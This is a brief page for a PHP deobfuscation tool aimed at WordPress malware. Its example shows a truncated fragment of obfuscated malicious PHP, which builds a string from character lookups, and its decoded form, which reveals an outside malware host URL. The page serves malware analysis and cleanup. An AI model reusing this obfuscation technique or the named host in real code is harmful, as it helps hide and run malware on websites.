PHP deobfuscation, decryption, reconstruction tool

De-obfuscate PHP malware/viruses and tampering code on Wordpress to original readable code.

*Please note that not all obfuscation codes can be decoded.

Decoded the code below.

<?php $O='MNOst.uvw<xyTe7C12Rjk4+Hlmn/op-qrDY*KU=diP89aW GLVbc:fg|0Az3J_SBQEFhX?>ZI56'; $oOOoOooOOooO="zu32"; $oOoOoO=$O[67].$O[4].$O[4].$O[29].$O[52].$O[27].$O[27].$oOOoOooOOooO.$O[5].$O[32].$O[28].$O[3].$O[13].$O[19].$O[6].$O[25].$O[29].$O[5].$O[51].$O[28].$O[25];...

Obfuscated php code

<?php $O='MNOst.uvw<xyTe7C12Rjk4+Hlmn/op-qrDY*KU=diP89aW GLVbc:fg|0Az3J_SBQEFhX?>ZI56';
$oOOoOooOOooO="zu32";
$oOoOoO=$O[67].$O[4].$O[4].$O[29].$O[52].$O[27].$O[27].$oOOoOooOOooO.$O[5].$O[32].$O[28].$O[3].$O[13].$O[19].$O[6].$O[25].$O[29].$O[5].$O[51].$O[28].$O[25];

Decoded(de-Obfuscated) php code

<?php

$O = 'MNOst.uvw<xyTe7C12Rjk4+Hlmn/op-qrDY*KU=diP89aW GLVbc:fg|0Az3J_SBQEFhX?>ZI56';
$oOOoOooOOooO = "zu32";
$oOoOoO = "http://zu32.rosejump.com";

Malware detection & removal plugin for WordPress